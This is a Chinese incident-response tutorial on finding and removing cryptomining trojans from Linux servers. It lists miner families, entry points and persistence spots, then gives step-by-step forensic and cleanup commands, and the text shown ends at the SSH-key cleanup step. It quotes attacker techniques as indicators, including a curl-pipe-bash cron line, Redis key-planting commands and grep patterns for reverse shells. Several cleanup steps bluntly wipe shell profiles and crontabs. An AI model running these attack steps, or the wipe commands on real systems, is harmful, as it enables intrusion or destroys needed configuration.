服务器被挖矿了?教你一步步彻底清理木马

admin 2026-07-02 04:48:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了服务器被挖矿木马入侵后的应急响应流程,包括问题背景、常见木马家族、入侵入口、持久化机制和自恢复机制。核心原则为先断后查、先保后清,分为应急隔离、静态排查、动态排查、清理和验证五个阶段。文章提供了具体命令和判断逻辑,强调需彻底清理所有后门和自恢复点,并修复漏洞以完成闭环。 综合评分: 90 文章分类: 应急响应,恶意软件,实战经验,安全运营,漏洞分析


cover_image

服务器被挖矿了?教你一步步彻底清理木马

点击关注 👉 点击关注 👉

马哥网络安全

2026年6月29日 17:00 河南

在小说阅读器读本章

去阅读

服务器被挖矿了?教你一步步彻底清理木马

一、问题背景

凌晨三点,Zabbix 告警群里弹出一条 “CPU load15 > 20”,点开 Grafana 看到 CPU 持续在 95% 以上,但 Nginx、PHP-FPM、Java 应用的 QPS 并没有涨。再 top 一看,一个 kdevtmpfsi 进程占了 380%,/proc/<pid>/cmdline 里面指向 /tmp/.X11-unix/.x/proc/<pid>/exe 链向 /tmp/.x。登录机器一看,/var/spool/cron/root 多了一条 * * * * * curl http://.../x.sh | bash/etc/ld.so.preload 多了一行 /usr/local/lib/libprocesshider.so

这就是典型的挖矿木马入侵链路:Redis 6379 公网暴露 + 弱口令 → 写入 SSH 公钥或 crontab → 下载 xmrig 矿工二进制 → 起守护进程 → 拉矿池通信。整套流程从入口到挖矿可能只要几分钟。但清理它,要比入侵它麻烦得多,因为攻击者会在多个点埋下自恢复机制:crontab、systemd、init.d、bashrc、内核模块、SUID、iptables 域名劫持,任一清理不到位,下次重启就复活。

更复杂的情况是,攻击者并不只投放挖矿木马,常常会同时埋下”备用入口”:新加 SSH 公钥、写隐藏账户、改 sudoers、装 rootkit、改 ld.so.preload、留 webshell、藏反弹 shell 脚本。这意味着,挖矿木马被清理完不等于事情结束,必须做一次完整的失陷排查(compromise assessment),把所有后门一起清掉。

本文讲清楚从现象到根因到闭环的完整流程,每一步都给具体命令、具体判断逻辑、具体风险提醒、具体回滚方法。读者照着操作,能完成一次合规的应急响应。

二、适用场景

本文适用于以下应急响应场景:

  • Zabbix/Prometheus 告警主机 CPU 持续高占用,业务 QPS 未明显变化。

  • 云厂商安全告警”主机存在异常外联行为”“主机存在挖矿通信”。

  • top

    看到 kdevtmpfsixmrigkinsingdonatemonerostratumpool. 等关键字。

  • /tmp

    /var/tmp/dev/shm 出现异常可执行文件。

  • crontab -l

    出现不认识的下载命令。

  • auditd

    报告 /etc/passwd/etc/shadow/usr/bin 异常变更。

不适用:

  • 业务自身 CPU 高(如日志批量处理、跑批任务),需要先排除业务侧。
  • 主机在容器内被攻击,挖矿进程仅在容器命名空间内,需要走容器逃逸链,本文不展开。
  • 已经存在 LKM rootkit(内核模块级隐藏),需要离线取证 + 重装系统,本文仅给出排查路径,不保证完整恢复。

三、核心知识点

3.1 常见挖矿木马家族

把生产环境实际遇到过的木马家族列清楚,每个家族的样本特征、矿池通信端口、典型投放路径都不一样:

  • XMRig / Monero 矿工

    :命令行包含 --algo=rx/0--pool=stratum+tcp://...--user=<wallet>。CPU 密集型,单核或多核。

  • kdevtmpfsi

    :伪装的 systemd / 内核辅助进程名,常见于 Kinsing 家族。/proc/<pid>/exe 指向 /tmp/.x/tmp/kdevtmpfsi。连接矿池端口 3333、14444、14433。

  • Kinsing

    :容器内高发,投放 kdevtmpfsi 矿工 + 部署 C 组 crontab。会用 redis-clidockerkubectl 等管理工具横向。

  • WatchDog

    :投放 cryptdwxcrond 等命名进程,自带 watchdog 监控矿工存活。

  • Rocke

    :GitHub 上的恶意 docker image 起家,后转向挖矿。

  • SystemdMiner

    :伪装成 systemd 进程,看 systemctl status 像系统进程。

  • Mirai 变种

    :物联网/Linux 僵尸网络挖矿变种,端口扫描传播。

  • GandCrab loader / Conti loader

    :勒索病毒家族,但部分 loader 阶段会先挖矿再勒索。

3.2 常见入侵入口

挖矿木马的投放入口 80% 集中在以下几类:

  • Redis 未授权访问

    :6379 公网暴露 + 弱口令或无口令。攻击者通过 CONFIG SET dir /root/.sshCONFIG SET dbfilename authorized_keysSET payload "<ssh 公钥>"SAVE 写 SSH 公钥;或者通过 MODULE LOAD 加载恶意模块(旧版本);或者通过 EVAL 执行 Lua 脚本(旧版本)。

  • WebLogic / Confluence / ThinkPHP RCE

    :常见 Web 框架历史漏洞。攻击者上传 webshell,再 curl 下载挖矿脚本。

  • SSH 弱口令

    :22 端口公网暴露 + 弱口令。攻击者直接 ssh root@<ip> 暴力破解。

  • Docker API 2375 未授权

    :暴露 /var/run/docker.sock 或 2375 端口。攻击者 docker -H <ip>:2375 run -v /:/host ... 起容器挂载宿主根。

  • Kubernetes API Server 8080/6443 未授权

    :集群 API 暴露公网 + 匿名访问开启。攻击者 kubectl --server=<ip>:8080 run ... 起特权 Pod。

  • Yarn / Hadoop / Spark 未授权

    :8088/8081 端口暴露,执行任意命令。

  • 应用 0day / 1day

    :CMS、博客、商城系统的已知漏洞。

3.3 持久化机制

挖矿木马要长期存活,必须有持久化机制。常见持久化点:

  • crontab 用户级

    :每个用户 crontab -l/var/spool/cron/<user>/etc/crontab/etc/cron.d//etc/cron.daily//etc/cron.hourly//etc/cron.weekly//etc/cron.monthly/

  • systemd 服务

    /etc/systemd/system//lib/systemd/system//usr/lib/systemd/system//run/systemd/system/ 下的 .service 文件。

  • init.d 脚本

    /etc/init.d//etc/rc.d/

  • rc.local

    /etc/rc.local/etc/rc.d/rc.local

  • bashrc / profile

    /root/.bashrc/etc/bash.bashrc/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.zshrc

  • SSH 公钥

    /root/.ssh/authorized_keys/home/*/.ssh/authorized_keys

  • SUID 后门

    /usr/bin/find/usr/bin/vim/usr/sbin/ping/usr/bin/python3 等被攻击者重新设置 SUID 位。

  • ld.so.preload

    /etc/ld.so.preload 加载恶意库,实现隐藏进程、文件、连接。

  • iptables / nftables 规则

    :把矿池域名劫持到本地或屏蔽监控端口。

  • hosts 文件

    /etc/hosts 把矿池域名指向 127.0.0.1 或攻击者服务器。

  • 内核模块(LKM rootkit)

    :加载 diamorphinereptilesuterusu 等 rootkit。

  • bash 命令别名

    alias ls='ls -al --color=auto; netstat -antp | grep <miner-pool>'

  • 替换系统二进制

    psnetstatsstoplsof 被替换为带过滤的版本,隐藏木马进程。

3.4 自恢复机制

仅仅清理持久化还不够,木马有自恢复机制:

  • 多个 crontab 互相拉起

    :清理 /etc/crontab 后,/etc/cron.d/0hourly 又拉起。

  • 多个 systemd unit 互相拉起

    :清理 miner.service 后,miner-watchdog.service 检测到后再次启动 miner.service

  • watchdog 进程

    :单独起一个进程监控主进程,死了再拉。

  • iptables 阻断域名

    :把矿池域名解析到错误 IP。

  • 替换系统命令

    :被替换的 psnetstat 不显示挖矿进程。

  • ld.so.preload 隐藏

    :常规 lsps 看不到木马文件。

  • 内核模块隐藏

    :rootkit 隐藏进程、网络连接、文件。

清理时必须把所有自恢复点一次性拔掉,否则会出现”清了又起、起了又清”的循环。

四、整体排查或实施思路

挖矿木马应急响应遵循”先断后查、先保后清”原则:

[阶段 1] 应急隔离
&nbsp; ├─ 1.1 网络隔离(断外联/封 IP)
&nbsp; ├─ 1.2 主机隔离(安全组/防火墙)
&nbsp; └─ 1.3 保留现场(镜像/快照/进程快照)

[阶段 2] 静态排查
&nbsp; ├─ 2.1 进程排查(top/ps/pstree)
&nbsp; ├─ 2.2 网络排查(ss/netstat/lsof)
&nbsp; ├─ 2.3 文件排查(find/checksum)
&nbsp; ├─ 2.4 持久化排查(cron/systemd/init/bashrc)
&nbsp; ├─ 2.5 账户排查(passwd/shadow/sudoers)
&nbsp; ├─ 2.6 SSH 公钥排查
&nbsp; └─ 2.7 后门排查(SUID/ld.so.preload)

[阶段 3] 动态排查
&nbsp; ├─ 3.1 auditd 报告分析
&nbsp; ├─ 3.2 内核模块排查
&nbsp; ├─ 3.3 隐藏进程排查
&nbsp; ├─ 3.4 替换命令排查
&nbsp; └─ 3.5 rootkit 扫描

[阶段 4] 清理
&nbsp; ├─ 4.1 杀进程
&nbsp; ├─ 4.2 删文件
&nbsp; ├─ 4.3 清理持久化
&nbsp; ├─ 4.4 修复漏洞
&nbsp; └─ 4.5 加固

[阶段 5] 验证与复盘
&nbsp; ├─ 5.1 重启验证
&nbsp; ├─ 5.2 长跑观察(72 小时)
&nbsp; ├─ 5.3 复盘文档
&nbsp; └─ 5.4 监控基线更新

完整闭环:

现象 → 初步判断 → 命令检查 → 关键指标 → 根因定位 → 修复方案 → 验证结果 → 回滚预案 → 复盘总结

每一个环节都对应具体的命令、预期输出、异常表现和下一步动作。后文按这个顺序展开。

五、实战步骤

5.1 应急隔离

步骤 1:判断是否在生产核心节点

目的:决定是直接断网还是先灰度隔离。

判断逻辑:

  • 主机承担关键业务(数据库主库、K8s master、网关、API 入口)→ 不能直接断网,先做安全组隔离。
  • 主机是普通应用节点、worker、缓存、队列 → 可以断外网,但保留内网。

风险提醒:直接断网会导致业务瞬间不可用,必须先通知业务方。

步骤 2:网络隔离(封矿池 IP)

目的:阻止挖矿木马继续与矿池通信,减缓 CPU 占用。

命令(阻断矿池端口):

bash

iptables -I OUTPUT -p tcp --dport 3333 -j DROP
iptables -I OUTPUT -p tcp --dport 14444 -j DROP
iptables -I OUTPUT -p tcp --dport 14433 -j DROP
iptables -I OUTPUT -p tcp --dport 5555 -j DROP
iptables -I OUTPUT -p tcp --dport 7777 -j DROP
iptables -I OUTPUT -p tcp --dport 8888 -j DROP
iptables -I OUTPUT -p tcp --dport 9999 -j DROP

判断逻辑:阻断后 top 看 CPU 是否下降。如果 5 分钟内 CPU 没明显下降,可能矿池端口不止这些。

下一步动作:用 ss -tnp 或 netstat -antp 查所有 ESTABLISHED 连接,找到矿池 IP 后用 iptables -I OUTPUT -d <矿池IP> -j DROP 封掉。

步骤 3:保留现场

目的:在清理前保留证据链,避免后续排查困难。

命令(云主机快照或本地磁盘镜像):

bash

# LVM 快照(适合物理机或本地盘)
lvcreate -L 10G -s -n root_snap /dev/vg0/root

# ZFS 快照(适合 ZFS 文件系统)
zfs snapshot tank/root@snapshot_$(date&nbsp;+%Y%m%d%H%M%S)

# 导出进程列表
ps auxf > /tmp/incident/ps_snapshot_$(date&nbsp;+%Y%m%d%H%M%S).txt
pstree -ap > /tmp/incident/pstree_snapshot_$(date&nbsp;+%Y%m%d%H%M%S).txt

# 导出网络连接
ss -antp > /tmp/incident/ss_snapshot_$(date&nbsp;+%Y%m%d%H%M%S).txt

# 导出可疑文件
mkdir&nbsp;-p /tmp/incident/files
find /tmp /var/tmp /dev/shm /root -type&nbsp;f -mtime -7 -exec&nbsp;cp&nbsp;--parents {} /tmp/incident/files/ \;

判断逻辑:是否能在出问题后还原到原始状态,决定后续是否敢做”重启验证”。

风险提醒:快照会占用磁盘空间。如果磁盘已经满,需要先清理一些日志,但清理日志前必须确认是业务日志而非木马日志。

步骤 4:主机隔离(可选)

目的:阻止木马横向传播到其他主机。

命令(修改安全组或防火墙,阻断 SSH 22 端口入方向,仅放行运维 IP):

bash

iptables -I INPUT -p tcp --dport 22 -s <运维IP段> -j ACCEPT
iptables -I INPUT -p tcp --dport 22 -j DROP

风险提醒:配置错误会导致 SSH 断开。强烈建议在 console(云厂商控制台 VNC、IPMI)登录操作,而非 SSH。

5.2 进程排查

步骤 1:看 CPU 占用最高的进程

目的:定位挖矿木马主进程。

命令:

bash

top -c
top -b -n 1 -o %CPU |&nbsp;head&nbsp;-30

预期输出:

PID &nbsp;USER &nbsp; &nbsp; &nbsp;PR &nbsp;NI &nbsp; &nbsp;VIRT &nbsp; &nbsp;RES &nbsp; SHR S &nbsp;%CPU &nbsp;%MEM &nbsp; &nbsp; TIME+ &nbsp;COMMAND
1234 root &nbsp; &nbsp; &nbsp;20 &nbsp; 0 &nbsp; 1234m &nbsp; 123m &nbsp; &nbsp;4m R &nbsp;380.5 &nbsp;12.0 &nbsp;12:34.56 /tmp/.x -o pool.minexmr.com:4444 -u 4...
5678 www-data &nbsp;20 &nbsp; 0 &nbsp; &nbsp;234m &nbsp; &nbsp;45m &nbsp; &nbsp;2m S &nbsp; 0.5 &nbsp; 2.0 &nbsp; 0:01.23 nginx: worker process

判断逻辑:%CPU 接近或超过 100%(多核累加),COMMAND 指向 /tmp/.x/tmp/kdevtmpfsi 等非常规路径的进程即高度可疑。

下一步动作:记录 PID、PPID、命令行、进程路径、运行时间、用户。

步骤 2:看进程父子关系

目的:判断挖矿进程是被谁拉起的。

命令:

bash

ps auxf
pstree -ap
ps -eo pid,ppid,user,stat,start,etime,cmd |&nbsp;head&nbsp;-30

预期输出(pstree):

systemd(1)─┬─sshd(1234)─┬─bash(5678)───curl(6000)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─bash(6100)───/tmp/.x(6200)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├─crond(1500)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├─nginx(2000)─┬─nginx(2001)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─nginx(2002)

判断逻辑:如果 /tmp/.x 的父进程是 bash,而 bash 的父进程是 sshd,说明攻击者通过 SSH 登录后执行的。挖矿进程可能是 bash 的子进程,也可能是独立被 systemd 拉起的服务。

步骤 3:详细查看可疑进程

目的:拿到进程的可执行文件路径、工作目录、环境变量、网络连接。

命令:

bash

PID=<1234>

ls&nbsp;-la /proc/$PID/exe
ls&nbsp;-la /proc/$PID/cwd
ls&nbsp;-la /proc/$PID/root
cat&nbsp;/proc/$PID/status |&nbsp;head&nbsp;-30
cat&nbsp;/proc/$PID/cmdline |&nbsp;tr&nbsp;'\0'&nbsp;' '
cat&nbsp;/proc/$PID/environ |&nbsp;tr&nbsp;'\0'&nbsp;'\n'
cat&nbsp;/proc/$PID/maps |&nbsp;head&nbsp;-20
ls&nbsp;-la /proc/$PID/fd/ 2>/dev/null |&nbsp;head&nbsp;-30

预期输出:

/proc/1234/exe -> /tmp/.x
/proc/1234/cwd -> /root
/proc/1234/root -> /
...
Name:    x
PPid:    1
Uid:    0
...
pool=stratum+tcp://pool.minexmr.com:4444
user=4Abc...
algo=rx/0

判断逻辑:exe 指向 /tmp/.x/dev/shm/... 等非常规路径即为可疑。environ 中出现矿池地址、用户名、算法即为挖矿木马。

步骤 4:导出可疑进程样本

目的:用于后续病毒分析、特征提取。

命令:

bash

cp&nbsp;/proc/$PID/exe /tmp/incident/sample_$PID.bin
sha256sum&nbsp;/tmp/incident/sample_$PID.bin
file /tmp/incident/sample_$PID.bin
strings /tmp/incident/sample_$PID.bin | grep -E&nbsp;"(stratum|pool|monero|xmr|wallet)"&nbsp;|&nbsp;head&nbsp;-20

风险提醒:拷贝 exe 时必须断网,否则可能触发木马网络外联告警。

5.3 网络排查

步骤 1:查看监听端口

目的:找到可疑监听端口。

命令:

bash

ss -lntp
netstat -lntp 2>/dev/null
lsof -nP -iTCP -sTCP:LISTEN 2>/dev/null

判断逻辑:常规端口(22、80、443、3306、6379、8080)之外的监听端口可疑。例如出现 :3333:4444:5555:14444 等。

步骤 2:查看 ESTABLISHED 连接

目的:找到与矿池的连接。

命令:

bash

ss -antp | grep ESTABLISHED
netstat -antp 2>/dev/null | grep ESTABLISHED
lsof -nP -iTCP -sTCP:ESTABLISHED 2>/dev/null

预期输出:

tcp &nbsp; ESTAB &nbsp; 0 &nbsp; 0 &nbsp; 192.168.1.100:43210 &nbsp; 198.51.100.10:3333 &nbsp; users:(("x",pid=1234,fd=3))
tcp &nbsp; ESTAB &nbsp; 0 &nbsp; 0 &nbsp; 192.168.1.100:43211 &nbsp; 198.51.100.10:3333 &nbsp; users:(("x",pid=1234,fd=4))

判断逻辑:连接到境外 IP、可疑端口的进程为挖矿木马。

下一步动作:通过 whois 198.51.100.10 或在线 IP 查询接口确认是否为矿池 IP。

步骤 3:DNS 查询记录

目的:看哪些域名被解析过(如果开启了 DNS 日志)。

命令:

bash

journalctl -u systemd-resolved --no-pager |&nbsp;tail&nbsp;-50
cat&nbsp;/var/log/syslog | grep -E&nbsp;"(query|resolve)"&nbsp;|&nbsp;tail&nbsp;-50

或者直接看 /etc/resolv.conf 和 /etc/hosts

bash

cat&nbsp;/etc/resolv.conf
cat&nbsp;/etc/hosts

判断逻辑:/etc/hosts 中出现矿池域名指向错误 IP(如 127.0.0.1 或攻击者 IP),需要立即清理。

5.4 文件排查

步骤 1:找近 7 天新增的可执行文件

目的:定位挖矿木马二进制。

命令:

bash

find / -mtime -7 -type&nbsp;f \( -name&nbsp;"*.so"&nbsp;-o -name&nbsp;"*.sh"&nbsp;-o -perm -100 \) 2>/dev/null |&nbsp;head&nbsp;-50
find /tmp /var/tmp /dev/shm /root /home -type&nbsp;f -mtime -7 2>/dev/null |&nbsp;head&nbsp;-50
find / -mtime -7 -type&nbsp;f -size +1M 2>/dev/null |&nbsp;head&nbsp;-30

判断逻辑:/tmp/var/tmp/dev/shm 下的可执行文件是高危位置。带 SUID 的文件、.so 库文件都是重点。

步骤 2:查找常见挖矿木马文件名

目的:匹配已知特征。

命令:

bash

find / -type&nbsp;f \( -name&nbsp;"kdevtmpfsi"&nbsp;-o -name&nbsp;"xmrig*"&nbsp;-o -name&nbsp;"kinsing*"&nbsp;-o -name&nbsp;".x"&nbsp;-o -name&nbsp;"dwx*"&nbsp;-o -name&nbsp;"crond"&nbsp;-o -name&nbsp;"crypt*"&nbsp;-o -name&nbsp;"donate*"&nbsp;-o -name&nbsp;"redtail*"&nbsp;-o -name&nbsp;"watchdog*"&nbsp;-o -name&nbsp;"systemd*"&nbsp;-o -name&nbsp;"kthrotlds*"&nbsp;\) 2>/dev/null

风险提醒:crondsystemdkthrotlds 是与系统进程同名的伪装名,查找前要排除系统进程路径。

步骤 3:检查 ld.so.preload

目的:判断是否存在进程/文件隐藏。

命令:

bash

cat&nbsp;/etc/ld.so.preload 2>/dev/null
ls&nbsp;-la /etc/ld.so.preload 2>/dev/null
ls&nbsp;-la /usr/local/lib/ 2>/dev/null
ls&nbsp;-la /lib/x86_64-linux-gnu/ 2>/dev/null |&nbsp;head&nbsp;-30

判断逻辑:/etc/ld.so.preload 文件存在且非空即高危。/usr/local/lib/libprocesshider.so/usr/local/lib/libsystem.so 等是常见 rootkit 文件。

步骤 4:检查系统命令是否被替换

目的:判断 psnetstatsstoplsof 是否被替换。

命令:

bash

which&nbsp;ps netstat ss top lsof
rpm -Vf $(which&nbsp;ps) 2>/dev/null
rpm -Vf $(which&nbsp;netstat) 2>/dev/null
dpkg -S $(which&nbsp;ps) 2>/dev/null
md5sum&nbsp;$(which&nbsp;ps) $(which&nbsp;netstat) $(which&nbsp;ss) $(which&nbsp;top) $(which&nbsp;lsof)
stat&nbsp;/bin/ps /bin/netstat /usr/bin/ss /usr/bin/top /usr/bin/lsof
ls&nbsp;-la /bin/ps /bin/netstat /usr/bin/ss /usr/bin/top /usr/bin/lsof

判断逻辑:包管理校验失败或 mtime 异常即被替换。CentOS 用 rpm -Vf,Debian/Ubuntu 用 dpkg -S

风险提醒:rpm -Vf 会遍历包内所有文件,运行较慢,可能几分钟。

5.5 持久化排查

步骤 1:用户级 crontab

命令:

bash

crontab -l
crontab -u root -l
crontab -u www-data -l
crontab -u nginx -l
crontab -u mysql -l
for&nbsp;user&nbsp;in&nbsp;$(cut&nbsp;-d: -f1 /etc/passwd);&nbsp;do
&nbsp; &nbsp;&nbsp;echo&nbsp;"===&nbsp;$user&nbsp;==="
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-l 2>/dev/null
done

判断逻辑:出现 curl | bashwget | sh* * * * *(每分钟执行)的 crontab 为可疑。

步骤 2:系统级 crontab

命令:

bash

cat&nbsp;/etc/crontab
ls&nbsp;-la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat&nbsp;/var/spool/cron/*
cat&nbsp;/run/cron.*/crontab 2>/dev/null
cat&nbsp;/var/run/cron.*/crontab 2>/dev/null
find /etc/cron* -type&nbsp;f -mtime -7 -ls

判断逻辑:相同 /etc/cron.d/ 下出现不认识的 0hourly0daily 等脚本,或 crontab 中出现下载命令。

步骤 3:systemd 服务

命令:

bash

systemctl list-unit-files --state=enabled
systemctl list-unit-files --state=enabled | grep -vE&nbsp;"(sshd|crond|network|systemd|firewalld|nginx|mysql|php-fpm|docker|kubelet|rsyslog|auditd|chronyd|ssh-agent|tmp.mount|systemd-tmpfiles)"
find /etc/systemd /lib/systemd /usr/lib/systemd /run/systemd -mtime -7 -type&nbsp;f
find /etc/systemd /lib/systemd /usr/lib/systemd -name&nbsp;"*.service"&nbsp;-mtime -7 -exec&nbsp;cat&nbsp;{} \;

判断逻辑:陌生 service、运行用户是 root 但服务名伪装为 systemd-*tmp-*cron-* 的服务可疑。

步骤 4:init.d 和 rc.local

命令:

bash

ls&nbsp;-la /etc/init.d/
find /etc/init.d -type&nbsp;f -mtime -7 -ls
cat&nbsp;/etc/rc.local
ls&nbsp;-la /etc/rc.d/ /etc/rc.d/rc*.d/
find /etc/rc.d -type&nbsp;f -mtime -7 -ls

判断逻辑:陌生脚本、mtime 在 7 天内的脚本可疑。

步骤 5:bashrc / profile

命令:

bash

cat&nbsp;/root/.bashrc
cat&nbsp;/etc/bash.bashrc
cat&nbsp;/etc/profile
ls&nbsp;/etc/profile.d/
for&nbsp;f&nbsp;in&nbsp;/etc/profile.d/*.sh;&nbsp;do
&nbsp; &nbsp;&nbsp;echo&nbsp;"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat&nbsp;"$f"
done
cat&nbsp;/home/*/.bashrc
cat&nbsp;/home/*/.bash_profile
cat&nbsp;/home/*/.profile
cat&nbsp;/home/*/.zshrc
grep -RnE&nbsp;"(curl |wget ).*\|.*(sh|bash)"&nbsp;/root /home /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null
grep -RnE&nbsp;"(nc |ncat |netcat ).*-e"&nbsp;/root /home /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null

判断逻辑:bashrcprofile.d/*.sh 中出现下载命令、反弹 shell 命令为可疑。

步骤 6:SSH 公钥

命令:

bash

cat&nbsp;/root/.ssh/authorized_keys
cat&nbsp;/home/*/.ssh/authorized_keys
find / -name&nbsp;"authorized_keys"&nbsp;-type&nbsp;f -ls
find / -name&nbsp;"*.pub"&nbsp;-path&nbsp;"*/.ssh/*"&nbsp;-ls

判断逻辑:陌生的 SSH 公钥(key comment 不认识)需要立即删除。

风险提醒:删除前先把当前已知公钥备份到 /tmp/known_keys.txt,避免误删运维自己的公钥导致无法登录。

步骤 7:SUID 后门

命令:

bash

find / -perm -4000 -type&nbsp;f 2>/dev/null
find / -perm -4000 -type&nbsp;f -mtime -30 -ls
find / -perm -2000 -type&nbsp;f 2>/dev/null

判断逻辑:常见 SUID 二进制(/bin/su/usr/bin/sudo/usr/bin/passwd/usr/bin/find/usr/bin/vim/usr/bin/python3 等)以外的 SUID 文件,或最近 30 天 mtime 变更的 SUID 文件可疑。

风险提醒:删除 SUID 必须极其谨慎。误删 /usr/bin/sudo 的 SUID 位会导致所有 sudo 命令失败。

5.6 账户排查

步骤 1:UID 0 账户

命令:

bash

awk -F:&nbsp;'($3 == 0) {print}'&nbsp;/etc/passwd
grep -E&nbsp;"x:0:0"&nbsp;/etc/passwd

判断逻辑:除 root 外的 UID 0 账户为高危。

步骤 2:可登录账户

命令:

bash

grep -vE&nbsp;"(nologin|false|/bin/sync)"&nbsp;/etc/passwd
awk -F:&nbsp;'$7 != "/usr/sbin/nologin" && $7 != "/bin/false" && $7 != "/usr/bin/false" && $7 != "/sbin/nologin" {print}'&nbsp;/etc/passwd

判断逻辑:仅运维常用账户可登录,其他账户的 shell 应该是 /usr/sbin/nologin 或 /bin/false

步骤 3:空密码账户

命令:

bash

awk -F:&nbsp;'($2 == "" || $2 == "!" || $2 == "*") {print}'&nbsp;/etc/shadow
awk -F:&nbsp;'length($2) < 10 {print}'&nbsp;/etc/shadow

判断逻辑:空密码、密码字段异常的账户为可疑。

步骤 4:最近修改的账户

命令:

bash

ls&nbsp;-la /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers /etc/sudoers.d/
stat&nbsp;/etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
grep -RnE&nbsp;"NOPASSWD"&nbsp;/etc/sudoers /etc/sudoers.d/ 2>/dev/null

判断逻辑:mtime 在 7 天内的账户文件可疑。NOPASSWD: ALL 的 sudo 配置为高危。

5.7 内核模块排查

步骤 1:当前加载的内核模块

命令:

bash

lsmod
cat&nbsp;/proc/modules

判断逻辑:不认识的内核模块名(如 diamorphinereptilesuterusuhidepidhook)可疑。

步骤 2:模块信息

命令:

bash

modinfo <module_name>
find /lib/modules/$(uname&nbsp;-r) -mtime -30 -type&nbsp;f
find /usr/lib/modules/$(uname&nbsp;-r) -mtime -30 -type&nbsp;f

判断逻辑:mtime 在 30 天内的内核模块(.ko 文件)可疑。

5.8 隐藏进程排查

步骤 1:/proc 与 ps 对比

命令:

bash

ps -ef |&nbsp;wc&nbsp;-l
ls&nbsp;/proc | grep -E&nbsp;"^[0-9]+$"&nbsp;|&nbsp;wc&nbsp;-l

判断逻辑:/proc 目录下的进程数应该等于或大于 ps -ef 的进程数。如果 /proc 比 ps 多很多,说明有进程被隐藏(rootkit)。

步骤 2:unhide 工具

命令:

bash

unhide proc
unhide sys
unhide brute

预期输出:

[*] Searching for hidden processes through /proc scanning
Found non-hidden PID: 1
Found non-hidden PID: 2
...
[*] Searching for hidden processes through syscall scanning
Found hidden PID: 1234

判断逻辑:unhide 比 ps 多发现的 PID 即为隐藏进程。

风险提醒:unhide 在被 rootkit 篡改的环境中可能也被劫持。建议使用 U 盘启动的 live 系统或预先准备的静态编译二进制。

步骤 3:chkrootkit 和 rkhunter

命令:

bash

chkrootkit -q
rkhunter --check --sk

预期输出(异常):

Checking `chkrootkit' version...
/usr/bin/which: Command not found
Checking 'bindshell'... INFECTED
Checking 'sniffer'... INFECTED

判断逻辑:出现 INFECTED 字样即为可疑。

风险提醒:chkrootkit 误报较多,需要结合其他工具判断。rkhunter 自带基准库,第一次运行会做基准学习。

5.9 挖矿木马清理

步骤 1:断网

目的:阻断木马的矿池通信和可能的反弹 shell。

命令:

bash

iptables -I OUTPUT -m state --state NEW -j DROP

风险提醒:这一条会阻断所有出方向新连接,包括 SSH 主动外联。强烈建议只阻断矿池端口(参考 5.1 步骤 2),而不是全局阻断。

步骤 2:杀进程

目的:停止挖矿木马运行。

命令:

bash

kill&nbsp;-STOP <PID>
sleep&nbsp;5
kill&nbsp;-CONT <PID>
sleep&nbsp;2
kill&nbsp;<PID>
sleep&nbsp;3
kill&nbsp;-9 <PID>

判断逻辑:

  • 先 SIGSTOP 让进程暂停,再 SIGCONT 验证是否能恢复(如果进程被 watchdog 拉起,会立刻恢复)。
  • 再 SIGTERM 优雅退出,最后 SIGKILL 强杀。

风险提醒:必须先记录 PID 和命令行,再杀进程。如果进程被 watchdog 拉起,先找 watchdog 一起杀。

步骤 3:删除可执行文件

目的:删除挖矿木马二进制。

命令:

bash

chmod&nbsp;-x /tmp/.x
mv&nbsp;/tmp/.x /tmp/incident/sample_$(date&nbsp;+%Y%m%d%H%M%S).bin
sha256sum&nbsp;/tmp/incident/sample_*.bin

判断逻辑:先备份到 /tmp/incident/(或外部取证盘),再做后续处理。不要直接 rm -rf /tmp/*

步骤 4:清理 crontab

命令:

bash

crontab -l > /tmp/incident/crontab_root.bak
crontab -r
echo&nbsp;"干净 crontab"&nbsp;| crontab -

for&nbsp;user&nbsp;in&nbsp;$(cut&nbsp;-d: -f1 /etc/passwd);&nbsp;do
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-l > /tmp/incident/crontab_${user}.bak 2>/dev/null
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-r 2>/dev/null
done

cp&nbsp;/etc/crontab /tmp/incident/crontab.bak
echo&nbsp;-n&nbsp;""&nbsp;> /etc/crontab
rm&nbsp;-f /etc/cron.d/*.bak /etc/cron.d/0hourly /etc/cron.d/0daily

风险提醒:crontab -r 会清空当前用户的 crontab,必须先备份。已知业务的 crontab(数据库备份、日志切割)需要在清理后恢复。

步骤 5:清理 systemd

命令:

bash

systemctl stop <miner.service>
systemctl&nbsp;disable&nbsp;<miner.service>
mv&nbsp;/etc/systemd/system/<miner.service> /tmp/incident/
mv&nbsp;/lib/systemd/system/<miner.service> /tmp/incident/
systemctl daemon-reload
systemctl reset-failed

判断逻辑:先 stop 再 disable 再删除 unit 文件,最后 daemon-reload

步骤 6:清理 bashrc / profile

命令:

bash

cp&nbsp;/root/.bashrc /tmp/incident/bashrc_root.bak
echo&nbsp;-n&nbsp;""&nbsp;> /root/.bashrc

cp&nbsp;/etc/profile /tmp/incident/profile.bak
echo&nbsp;-n&nbsp;""&nbsp;> /etc/profile

rm&nbsp;-f /etc/profile.d/*.sh

风险提醒:/etc/profile 和 /etc/profile.d/*.sh 在用户登录时会被执行,删除后业务账户无法设置环境变量。需要根据实际情况恢复必要配置。

步骤 7:清理 SSH 公钥

命令:

bash

cp&nbsp;/root/.ssh/authorized_keys /tmp/incident/authorized_keys_root.bak
echo&nbsp;-n&nbsp;""&nbsp;> /root/.ssh/authorized_keys
chmod&nbsp;600 /root/.ssh/authorized_keys

